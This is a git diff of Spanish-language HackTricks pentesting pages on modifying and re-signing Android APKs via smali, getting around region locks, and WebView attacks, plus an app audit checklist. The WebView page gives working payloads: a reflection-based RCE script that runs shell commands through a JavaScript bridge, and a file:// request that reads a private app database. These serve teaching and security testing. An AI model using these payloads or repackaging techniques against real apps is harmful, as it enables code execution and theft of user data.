* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
A veces es interesante modificar el código de la aplicación para acceder a información oculta para ti (tal vez contraseñas bien ofuscadas o banderas). Entonces, podría ser interesante decompilar el apk, modificar el código y volver a compilarlo.
|
||||
|
||||
**Referencia de opcodes:** [http://pallergabor.uw.hu/androidblog/dalvik\_opcodes.html](http://pallergabor.uw.hu/androidblog/dalvik\_opcodes.html)
|
||||
|
||||
## Forma rápida
|
||||
|
||||
Usando **Visual Studio Code** y la extensión [APKLab](https://github.com/APKLab/APKLab), puedes **decompilar**, modificar, **recompilar**, firmar e instalar automáticamente la aplicación sin ejecutar ningún comando.
|
||||
|
||||
Otro **script** que facilita mucho esta tarea es [**https://github.com/ax/apk.sh**](https://github.com/ax/apk.sh)****
|
||||
|
||||
## Descompilar el APK
|
||||
|
||||
Usando APKTool puedes acceder al **código smali y recursos**:
|
||||
```
|
||||
apktool d APP.apk
|
||||
```
|
||||
Si **apktool** te da algún error, intenta [instalar la **última versión**](https://ibotpeaches.github.io/Apktool/install/).
|
||||
|
||||
Algunos **archivos interesantes que deberías buscar son**:
|
||||
|
||||
* _res/values/strings.xml_ (y todos los xml dentro de res/values/\*)
|
||||
* _AndroidManifest.xml_
|
||||
* Cualquier archivo con extensión _.sqlite_ o _.db_
|
||||
|
||||
Si `apktool` tiene **problemas para decodificar la aplicación**, echa un vistazo a [https://ibotpeaches.github.io/Apktool/documentation/#framework-files](https://ibotpeaches.github.io/Apktool/documentation/#framework-files) o intenta usar el argumento **`-r`** (No decodificar recursos). Entonces, si el problema estaba en un recurso y no en el código fuente, no tendrás el problema (tampoco decodificarás los recursos).
|
||||
|
||||
## Cambiar el código Smali
|
||||
|
||||
Puedes **cambiar** **instrucciones**, cambiar el **valor** de algunas variables o **añadir** nuevas instrucciones. Yo cambio el código Smali usando [**VS Code**](https://code.visualstudio.com), luego instalas la **extensión smalise** y el editor te dirá si alguna **instrucción es incorrecta**.\
|
||||
Algunos **ejemplos** se pueden encontrar aquí:
|
||||
|
||||
* [Ejemplos de cambios Smali](smali-changes.md)
|
||||
* [Google CTF 2018 - Shall We Play a Game?](google-ctf-2018-shall-we-play-a-game.md)
|
||||
|
||||
O puedes [**ver a continuación algunos cambios Smali explicados**](smali-changes.md#modifying-smali).
|
||||
|
||||
## Recompilar el APK
|
||||
|
||||
Después de modificar el código, puedes **recompilar** el código usando:
|
||||
```bash
|
||||
apktool b . #In the folder generated when you decompiled the application
|
||||
```
|
||||
Compilará el nuevo APK dentro de la carpeta _**dist**_.
|
||||
|
||||
Si **apktool** arroja un **error**, intenta [instalar la **última versión**](https://ibotpeaches.github.io/Apktool/install/)
|
||||
|
||||
### **Firmar el nuevo APK**
|
||||
|
||||
Luego, necesitas **generar una clave** (se te pedirá una contraseña y alguna información que puedes completar al azar):
|
||||
```bash
|
||||
keytool -genkey -v -keystore key.jks -keyalg RSA -keysize 2048 -validity 10000 -alias <your-alias>
|
||||
```
|
||||
Finalmente, **firma** el nuevo APK:
|
||||
```bash
|
||||
jarsigner -keystore key.jks path/to/dist/* <your-alias>
|
||||
```
|
||||
### Optimizar nueva aplicación
|
||||
|
||||
**zipalign** es una herramienta de alineación de archivos que proporciona una optimización importante a los archivos de aplicación de Android (APK). [Más información aquí](https://developer.android.com/studio/command-line/zipalign).
|
||||
```bash
|
||||
zipalign [-f] [-v] <alignment> infile.apk outfile.apk
|
||||
zipalign -v 4 infile.apk
|
||||
```
|
||||
### **Firmar el nuevo APK (¿de nuevo?)**
|
||||
|
||||
Si **prefieres** usar \[**apksigner**]\([**https://developer.android.com/studio/command-line/apksigner**](https://developer.android.com/studio/command-line/apksigner))\*\* en lugar de jarsigner, **debes firmar el apk** después de aplicar **la optimización con** zipaling\*\*. PERO TEN EN CUENTA QUE\*\* SOLO DEBES FIRMAR LA APLICACIÓN UNA VEZ\*\* CON jarsigner (antes de zipalign) O CON apksigner (después de zipaling).
|
||||
```bash
|
||||
apksigner sign --ks key.jks ./dist/mycompiled.apk
|
||||
```
|
||||
## Modificando Smali
|
||||
|
||||
Para el siguiente código Java de Hola Mundo:
|
||||
```
|
||||
public static void printHelloWorld() {
|
||||
System.out.println("Hello World")
|
||||
}
|
||||
```
|
||||
El código Smali sería:
|
||||
```
|
||||
.method public static printHelloWorld()V
|
||||
.registers 2
|
||||
sget-object v0, Ljava/lang/System;->out:Ljava/io/PrintStream;
|
||||
const-string v1, "Hello World"
|
||||
invoke-virtual {v0,v1}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V
|
||||
return-void
|
||||
.end method
|
||||
```
|
||||
El conjunto de instrucciones Smali está disponible [aquí](https://source.android.com/devices/tech/dalvik/dalvik-bytecode#instructions).
|
||||
|
||||
### Cambios Ligeros
|
||||
|
||||
### Modificar valores iniciales de una variable dentro de una función
|
||||
|
||||
Algunas variables se definen al principio de la función utilizando el opcode _const_, puedes modificar sus valores o definir nuevas:
|
||||
```
|
||||
#Number
|
||||
const v9, 0xf4240
|
||||
const/4 v8, 0x1
|
||||
#Strings
|
||||
const-string v5, "wins"
|
||||
```
|
||||
### Operaciones Básicas
|
||||
```
|
||||
#Math
|
||||
add-int/lit8 v0, v2, 0x1 #v2 + 0x1 and save it in v0
|
||||
mul-int v0,v2,0x2 #v2*0x2 and save in v0
|
||||
|
||||
#Move the value of one object into another
|
||||
move v1,v2
|
||||
|
||||
#Condtions
|
||||
if-ge #Greater or equals
|
||||
if-le #Less or equals
|
||||
if-eq #Equals
|
||||
|
||||
#Get/Save attributes of an object
|
||||
iget v0, p0, Lcom/google/ctf/shallweplayagame/GameActivity;->o:I #Save this.o inside v0
|
||||
iput v0, p0, Lcom/google/ctf/shallweplayagame/GameActivity;->o:I #Save v0 inside this.o
|
||||
|
||||
#goto
|
||||
:goto_6 #Declare this where you want to start a loop
|
||||
if-ne v0, v9, :goto_6 #If not equals, go to: :goto_6
|
||||
goto :goto_6 #Always go to: :goto_6
|
||||
```
|
||||
### Cambios mayores
|
||||
|
||||
### Registro
|
||||
```
|
||||
#Log win: <number>
|
||||
iget v5, p0, Lcom/google/ctf/shallweplayagame/GameActivity;->o:I #Get this.o inside v5
|
||||
invoke-static {v5}, Ljava/lang/String;->valueOf(I)Ljava/lang/String; #Transform number to String
|
||||
move-result-object v1 #Move to v1
|
||||
const-string v5, "wins" #Save "win" inside v5
|
||||
invoke-static {v5, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I #Logging "Wins: <num>"
|
||||
```
|
||||
Recomendaciones:
|
||||
|
||||
* Si vas a utilizar variables declaradas dentro de la función (declaradas v0,v1,v2...), coloca estas líneas entre _.local \<número>_ y las declaraciones de las variables (_const v0, 0x1_)
|
||||
* Si deseas colocar el código de registro en el medio del código de una función:
|
||||
* Agrega 2 al número de variables declaradas: Ej: de _.locals 10_ a _.locals 12_
|
||||
* Las nuevas variables deben ser los siguientes números de las variables ya declaradas (en este ejemplo deberían ser _v10_ y _v11_, recuerda que comienza en v0).
|
||||
* Cambia el código de la función de registro y utiliza _v10_ y _v11_ en lugar de _v5_ y _v1_.
|
||||
|
||||
### Toasting
|
||||
|
||||
Recuerda agregar 3 al número de _.locals_ al comienzo de la función.
|
||||
|
||||
Este código está preparado para ser insertado en el **medio de una función** (**cambia** el número de las **variables** según sea necesario). Tomará el **valor de this.o**, lo **transformará** a **String** y luego **hará** un **toast** con su valor.
|
||||
```
|
||||
const/4 v10, 0x1
|
||||
const/4 v11, 0x1
|
||||
const/4 v12, 0x1
|
||||
iget v10, p0, Lcom/google/ctf/shallweplayagame/GameActivity;->o:I
|
||||
invoke-static {v10}, Ljava/lang/String;->valueOf(I)Ljava/lang/String;
|
||||
move-result-object v11
|
||||
invoke-static {p0, v11, v12}, Landroid/widget/Toast;->makeText(Landroid/content/Context;Ljava/lang/CharSequence;I)Landroid/widget/Toast;
|
||||
move-result-object v12
|
||||
invoke-virtual {v12}, Landroid/widget/Toast;->show()V
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
|
@ -0,0 +1,10 @@
|
|||
A menudo, has visto que la aplicación que deseas evaluar solo está permitida en ciertos países, por lo que en ese caso no podrás instalarla en tu dispositivo Android. Pero si puedes falsificar tu ubicación a ese país en el que se permite la aplicación, entonces puedes obtener acceso a esa aplicación. A continuación se muestra el procedimiento para hacerlo.
|
||||
|
||||
* Primero, instala **Hotspot Shield Free VPN Proxy** desde Google Play Store.\
|
||||
![](https://i.imgur.com/0XrmuKY.png)
|
||||
* Ahora conéctate usando la aplicación y elige el país que necesitas.\
|
||||
![](https://i.imgur.com/Z0WHrZX.png)
|
||||
* Ahora ve a **Configuración** >> **Aplicaciones** >> **Google Play Store** y luego toca en **Forzar detención** y luego en **Borrar datos**.\
|
||||
![](https://i.imgur.com/sjFrr67.png)
|
||||
* Abre **Google Play Store** y ahora podrás buscar e instalar la aplicación que solo está disponible en ese país.\
|
||||
![](https://i.imgur.com/zfdhCBI.png)
|
178
mobile-pentesting/android-app-pentesting/webview-attacks.md
Normal file
178
mobile-pentesting/android-app-pentesting/webview-attacks.md
Normal file
|
@ -0,0 +1,178 @@
|
|||
# Configuraciones interesantes
|
||||
|
||||
## Acceso a archivos
|
||||
|
||||
El acceso a archivos de _WebView_ está habilitado por defecto. Desde la API 3 (Cupcake 1.5) está disponible el método [_setAllowFileAccess()_](https://developer.android.com/reference/android/webkit/WebSettings.html#setAllowFileAccess\(boolean\)) para habilitarlo o deshabilitarlo explícitamente.\
|
||||
Si la aplicación tiene _**android.permission.READ\_EXTERNAL\_STORAGE**_ podrá leer y cargar archivos **desde el almacenamiento externo**.\
|
||||
El _WebView_ necesita usar un esquema de URL de archivo, por ejemplo, `file://path/file`, para acceder al archivo.
|
||||
|
||||
### Acceso universal desde URL de archivo (obsoleto)
|
||||
|
||||
> Establece si las solicitudes **cross-origin** en el **contexto de una URL de esquema de archivo** deben permitir el acceso a **contenido desde cualquier origen**. Esto incluye **acceso a contenido desde otras URL de esquema de archivo o contextos web.** Tenga en cuenta que algunos accesos, como los elementos HTML de imagen, no siguen las reglas de mismo origen y no se ven afectados por esta configuración.
|
||||
>
|
||||
> **No** habilite esta configuración si abre archivos que pueden ser creados o alterados por fuentes externas. Habilitar esta configuración permite que los scripts maliciosos cargados en un contexto `file://` lancen ataques de scripting entre sitios, accediendo a **archivos locales arbitrarios**, incluidas las cookies de WebView, los datos privados de la aplicación o incluso las credenciales utilizadas en sitios web arbitrarios.
|
||||
|
||||
En resumen, esto **evitará la carga de orígenes arbitrarios**. La aplicación enviará la solicitud de URL para cargar el contenido con **`Origin: file://`** si la respuesta no permite ese origen (**`Access-Control-Allow-Origin: file://`**), entonces el contenido no se cargará.\
|
||||
El **valor predeterminado es `false`** al apuntar a [`Build.VERSION_CODES.JELLY_BEAN`](https://developer.android.com/reference/android/os/Build.VERSION\_CODES#JELLY\_BEAN) y superior.
|
||||
|
||||
* Use [`getAllowUniversalAccessFromFileURLs()`](https://developer.android.com/reference/android/webkit/WebSettings#getAllowUniversalAccessFromFileURLs\(\)) para saber si JavaScript que se ejecuta en el contexto de una URL de esquema de archivo puede acceder a contenido desde cualquier origen (si se habilita UniversalAccessFromFileURL).
|
||||
* Use [`setAllowUniversalAccessFromFileURLs(boolean)`](https://developer.android.com/reference/android/webkit/WebSettings#setAllowUniversalAccessFromFileURLs\(boolean\)) para habilitarlo o deshabilitarlo.
|
||||
|
||||
{% hint style="info" %}
|
||||
Usar **`loadDataWithBaseURL()`** con `null` como baseURL también **evitará la carga de archivos locales** incluso si todas las configuraciones peligrosas están habilitadas.
|
||||
{% endhint %}
|
||||
|
||||
### Acceso a archivos desde URL de archivo (obsoleto) <a href="#getallowfileaccessfromfileurls" id="getallowfileaccessfromfileurls"></a>
|
||||
|
||||
> Establece si las solicitudes **cross-origin** en el **contexto de una URL de esquema de archivo** deben permitir el acceso a contenido desde otras URL de esquema de archivo. Tenga en cuenta que algunos accesos, como los elementos HTML de imagen, no siguen las reglas de mismo origen y no se ven afectados por esta configuración.
|
||||
>
|
||||
> **No** habilite esta configuración si abre archivos que pueden ser creados o alterados por fuentes externas. Habilitar esta configuración permite que los scripts maliciosos cargados en un contexto `file://` accedan a archivos locales arbitrarios, incluidas las cookies de WebView y los datos privados de la aplicación.
|
||||
|
||||
En resumen, esto evita que JavaScript acceda a archivos locales a través del protocolo `file://`.\
|
||||
Tenga en cuenta que **el valor de esta configuración se ignora** si el valor de [`getAllowUniversalAccessFromFileURLs()`](https://developer.android.com/reference/android/webkit/WebSettings#getAllowUniversalAccessFromFileURLs\(\)) es `true`. \
|
||||
El **valor predeterminado es `false`** al apuntar a [`Build.VERSION_CODES.JELLY_BEAN`](https://developer.android.com/reference/android/os/Build.VERSION\_CODES#JELLY\_BEAN) y superior.
|
||||
|
||||
* Use [`getAllowFileAccessFromFileURLs()`](https://developer.android.com/reference/android/webkit/WebSettings#getAllowFileAccessFromFileURLs\(\)) para saber si JavaScript se está ejecutando en el contexto de una URL de esquema de archivo y puede acceder a contenido desde otras URL de esquema de archivo.
|
||||
* Use [`setAllowFileAccessFromFileURLs(boolen)`](https://developer.android.com/reference/android/webkit/WebSettings#setAllowFileAccessFromFileURLs\(boolean\)) para habilitarlo o deshabilitarlo.
|
||||
|
||||
### Acceso a archivos
|
||||
|
||||
> Habilita o deshabilita el **acceso a archivos dentro de WebView**. Tenga en cuenta que esto habilita o deshabilita el acceso al sistema de archivos solamente. Los activos y recursos siguen siendo accesibles mediante file:///android_asset y file:///android_res.
|
||||
|
||||
En resumen, si se deshabilita, el WebView no podrá cargar un archivo local con el protocolo `file://`.\
|
||||
El **valor predeterminado es `false`** al apuntar a [`Build.VERSION_CODES.R`](https://developer.android.com/reference/android/os/Build.VERSION\_CODES#R) y superior.
|
||||
|
||||
* Use [`getAllowFileAccess()`](https://developer.android.com/reference/android/webkit/WebSettings#getAllowFileAccess\(\)) para saber si la configuración está habilitada.
|
||||
* Use [`setAllowFileAccess(boolean)`](https://developer.android.com/reference/android/webkit/WebSettings#setAllowFileAccess\(boolean\)) para habilitarlo o deshabilitarlo.
|
||||
|
||||
### WebViewAssetLoader
|
||||
|
||||
> Clase auxiliar para cargar archivos locales, incluidos los activos estáticos y los recursos de la aplicación, utilizando URL http(s):// dentro de una clase [`WebView`](https://developer.android.com/reference/android/webkit/WebView.html). Cargar archivos locales utilizando URL similares a las web en lugar de `"file://"` es deseable ya que es compatible con la política de mismo origen.
|
||||
|
||||
Esta es la nueva forma recomendada de cargar archivos locales. El objetivo es **acceder a archivos locales utilizando una URL HTTP con el dominio**. De esta manera, la **CORS** se puede **mantener fácilmente** entre las **páginas web** locales y las **páginas web** que se descargan del servidor web.
|
||||
|
||||
## Javascript habilitado
|
||||
|
||||
Los WebViews tienen Javascript **deshabilitado por defecto**. El método [`setJavaScriptEnabled()`](https://developer.android.com/reference/android/webkit/WebSettings.html#setJavaScriptEnabled\(boolean\)) puede habilitarlo o deshabilitarlo explícitamente. \
|
||||
Tenga en cuenta que los webviews también pueden admitir el **esquema de intención** que permite lanzar otras aplicaciones. Lea este [artículo para saber cómo pasar de XSS a RCE](https://medium.com/@dPhoeniixx/tiktok-for-android-1-click-rce-240266e78105).
|
||||
|
||||
## Puente de Javascript
|
||||
|
||||
Android ofrece una forma para que el JavaScript ejecutado en un WebView llame y use **funciones nativas de una aplicación de Android** (anotadas con `@JavascriptInterface`) mediante el uso del método [`addJavascriptInterface`](https://developer.android.com/reference/android/webkit/WebView.html#addJavascriptInterface%28java.lang.Object,%20java.lang.String%29). Esto se conoce como un _WebView JavaScript bridge_ o _native bridge_.
|
||||
|
||||
Tenga en cuenta que **cuando usa `addJavascriptInterface`, está otorgando explícitamente acceso al objeto de interfaz de JavaScript registrado a todas las páginas cargadas dentro de ese WebView**. Esto implica que, si el usuario navega fuera de su aplicación o dominio, todas las demás páginas externas también tendrán acceso a esos objetos de interfaz de JavaScript, lo que podría presentar un riesgo potencial de seguridad si se expone algún dato sensible a través de esas interfaces.
|
||||
|
||||
> Advertencia: Tenga mucho cuidado con las aplicaciones que apuntan a versiones de Android anteriores
|
||||
```javascript
|
||||
//Class with a method to access a secret
|
||||
public class JavascriptBridge {
|
||||
// Since Android 4.2 (JELLY_BEAN_MR1, API 17) methods
|
||||
// not annotated with @JavascriptInterface are not visible from JavaScript
|
||||
@JavascriptInterface
|
||||
public String getSecret() {
|
||||
return "SuperSecretPassword";
|
||||
};
|
||||
}
|
||||
```
|
||||
|
||||
```javascript
|
||||
//Enabling Javascript Bridge exposing an object of the JavascriptBridge class
|
||||
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge");
|
||||
webView.reload();
|
||||
```
|
||||
|
||||
```markup
|
||||
<!-- Exploit to get the secret from JavaScript -->
|
||||
<script>alert(javascriptBridge.getSecret());</script>
|
||||
```
|
||||
Con acceso al código JavaScript, a través de, por ejemplo, una **XSS** almacenada, un ataque **MITM** o un **sitio web malicioso** que se carga dentro del WebView, se puede llamar directamente a los métodos Java expuestos.
|
||||
|
||||
{% hint style="info" %}
|
||||
Tenga en cuenta que en el caso de intentar explotar esta vulnerabilidad a través de una **Redirección Abierta a una página web del atacante que accede al Objeto Nativo de Android**. Si el acceso a la redirección se realiza a través de un **navegador móvil** y **no se utiliza** el mismo **WebView**, el **navegador no podrá acceder al objeto nativo de Android**.
|
||||
{% endhint %}
|
||||
|
||||
Si es necesario utilizar `addJavascriptInterface`, tenga en cuenta las siguientes consideraciones:
|
||||
|
||||
* **Solo se debe permitir que el JavaScript proporcionado** con el APK use los puentes, por ejemplo, verificando la URL en cada método Java conectado (a través de `WebView.getUrl`).
|
||||
* **No se debe cargar JavaScript desde puntos finales remotos**, por ejemplo, manteniendo la navegación de la página dentro de los dominios de la aplicación y abriendo todos los demás dominios en el navegador predeterminado (por ejemplo, Chrome, Firefox).
|
||||
* Si es necesario por razones de compatibilidad (por ejemplo, tener que admitir dispositivos más antiguos), **al menos establezca el nivel de API mínimo en 17** en el archivo de manifiesto de la aplicación (`<uses-sdk android:minSdkVersion="17" />`).
|
||||
|
||||
## Puente de JavaScript a RCE a través de Reflection
|
||||
|
||||
Como se señala en [**esta investigación**](https://labs.f-secure.com/archive/webview-addjavascriptinterface-remote-code-execution/) (_revísela para obtener ideas en caso de obtener RCE_), una vez que se encuentra un JavascriptBridge, es posible obtener **RCE** a través de **Reflection** utilizando una carga útil como la siguiente:
|
||||
```markup
|
||||
<!-- javascriptBridge is the name of the Android exposed object -->
|
||||
<script>
|
||||
function execute(cmd){
|
||||
return javascriptBridge.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(cmd);
|
||||
}
|
||||
execute(['/system/bin/sh','-c','echo \"mwr\" > /mnt/sdcard/mwr.txt']);
|
||||
</script>
|
||||
```
|
||||
Sin embargo, las aplicaciones modernas pueden usar la **anotación `@JavascriptInterface`** que indica al JavascriptBridge que solo el método con esta anotación debe ser **expuesto**.\
|
||||
En ese escenario, no podrás abusar de Reflection para ejecutar código arbitrario.
|
||||
|
||||
## Depuración remota
|
||||
|
||||
La **depuración remota** de WebView permite acceder al WebView con las **Herramientas de desarrollo de Chrome**.\
|
||||
El **dispositivo** debe ser **accesible** por la PC (a través de USB, emulador local, red local...) y ejecutar el WebView depurable, luego acceder a **chrome://inspect/#devices**:
|
||||
|
||||
![](<../../.gitbook/assets/image (525).png>)
|
||||
|
||||
Selecciona **inspeccionar** y se abrirá una nueva ventana. En esta ventana puedes **interactuar con el contenido** del **WebView** e incluso hacer que ejecute código JS arbitrario desde la pestaña de **consola**:
|
||||
|
||||
![](<../../.gitbook/assets/image (526).png>)
|
||||
|
||||
Para habilitar la **depuración remota de WebView** puedes hacer algo como:
|
||||
```java
|
||||
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
|
||||
WebView.setWebContentsDebuggingEnabled(true);
|
||||
}
|
||||
```
|
||||
**Esta configuración se aplica a todos los WebViews de la aplicación.**
|
||||
|
||||
{% hint style="info" %}
|
||||
**La depuración de WebView no se ve afectada por el estado de la bandera `debuggable`** en el manifiesto de la aplicación. Si desea habilitar la depuración de WebView solo cuando `debuggable` es `true`, pruebe la bandera en tiempo de ejecución.
|
||||
{% endhint %}
|
||||
```java
|
||||
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
|
||||
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
|
||||
{ WebView.setWebContentsDebuggingEnabled(true); }
|
||||
}
|
||||
```
|
||||
# Cargas útiles
|
||||
|
||||
## Exfiltrar archivos arbitrarios
|
||||
```javascript
|
||||
var xhr = new XMLHttpRequest();
|
||||
xhr.onreadystatechange = function() {
|
||||
if (xhr.readyState == XMLHttpRequest.DONE) {
|
||||
alert(xhr.responseText);
|
||||
}
|
||||
}
|
||||
xhr.open('GET', 'file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db', true);
|
||||
xhr.send(null);
|
||||
```
|
||||
# Referencias
|
||||
|
||||
{% embed url="https://github.com/authenticationfailure/WheresMyBrowser.Android" %}
|
||||
|
||||
{% embed url="https://developer.android.com/reference/android/webkit/WebView" %}
|
||||
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
|
||||
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
66
mobile-pentesting/android-checklist.md
Normal file
66
mobile-pentesting/android-checklist.md
Normal file
|
@ -0,0 +1,66 @@
|
|||
# Lista de verificación de APK de Android
|
||||
|
||||
![](<../.gitbook/assets/image (9) (1) (2).png>)
|
||||
|
||||
\
|
||||
Utilice [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y automatizar fácilmente flujos de trabajo impulsados por las herramientas de la comunidad más avanzadas del mundo.\
|
||||
Obtenga acceso hoy:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabaja en una **empresa de ciberseguridad**? ¿Quiere ver su **empresa anunciada en HackTricks**? ¿O quiere tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulte los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenga el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únase al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígame en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparta sus trucos de hacking enviando PR a los repositorios [hacktricks](https://github.com/carlospolop/hacktricks) y [hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
### [Aprenda los fundamentos de Android](android-app-pentesting/#2-android-application-fundamentals)
|
||||
|
||||
* [ ] [Conceptos básicos](android-app-pentesting/#fundamentals-review)
|
||||
* [ ] [Dalvik y Smali](android-app-pentesting/#dalvik--smali)
|
||||
* [ ] [Puntos de entrada](android-app-pentesting/#application-entry-points)
|
||||
* [ ] [Actividades](android-app-pentesting/#launcher-activity)
|
||||
* [ ] [Esquemas de URL](android-app-pentesting/#url-schemes)
|
||||
* [ ] [Proveedores de contenido](android-app-pentesting/#services)
|
||||
* [ ] [Servicios](android-app-pentesting/#services-1)
|
||||
* [ ] [Receptores de difusión](android-app-pentesting/#broadcast-receivers)
|
||||
* [ ] [Intenciones](android-app-pentesting/#intents)
|
||||
* [ ] [Filtro de intenciones](android-app-pentesting/#intent-filter)
|
||||
* [ ] [Otros componentes](android-app-pentesting/#other-app-components)
|
||||
* [ ] [Cómo usar ADB](android-app-pentesting/#adb-android-debug-bridge)
|
||||
* [ ] [Cómo modificar Smali](android-app-pentesting/#smali)
|
||||
|
||||
### [Análisis estático](android-app-pentesting/#static-analysis)
|
||||
|
||||
* [ ] Verifique el uso de [ofuscación](android-checklist.md#some-obfuscation-deobfuscation-information), compruebe si el móvil está rooteado, si se está utilizando un emulador y comprobaciones de anti-manipulación. [Lea esto para obtener más información](android-app-pentesting/#other-checks).
|
||||
* [ ] Las aplicaciones sensibles (como las aplicaciones bancarias) deben comprobar si el móvil está rooteado y actuar en consecuencia.
|
||||
* [ ] Busque [cadenas interesantes](android-app-pentesting/#looking-for-interesting-info) (contraseñas, URL, API, cifrado, puertas traseras, tokens, UUID de Bluetooth...).
|
||||
* [ ] Especial atención a las API de [firebase](android-app-pentesting/#firebase).
|
||||
* [ ] [Lea el manifiesto:](android-app-pentesting/#basic-understanding-of-the-application-manifest-xml)
|
||||
* [ ] Compruebe si la aplicación está en modo de depuración e intente "explotarla"
|
||||
* [ ] Compruebe si el APK permite copias de seguridad
|
||||
* [ ] Actividades exportadas
|
||||
* [ ] Proveedores de contenido
|
||||
* [ ] Servicios expuestos
|
||||
* [ ] Receptores de difusión
|
||||
* [ ] Esquemas de URL
|
||||
* [ ] ¿La aplicación está guardando datos de forma insegura interna o externamente](android-app-pentesting/#insecure-data-storage)?
|
||||
* [ ] ¿Hay alguna [contraseña codificada o guardada en disco](android-app-pentesting/#poorkeymanagementprocesses)? ¿La aplicación [usa algoritmos de cifrado inseguros](android-app-pentesting/#useofinsecureandordeprecatedalgorithms)?
|
||||
* [ ] ¿Se han compilado todas las bibliotecas utilizando la marca PIE?
|
||||
* [ ] No olvide que hay un montón de [Analizadores estáticos de Android](android-app-pentesting/#automatic-analysis) que pueden ayudarle mucho durante esta fase.
|
||||
|
||||
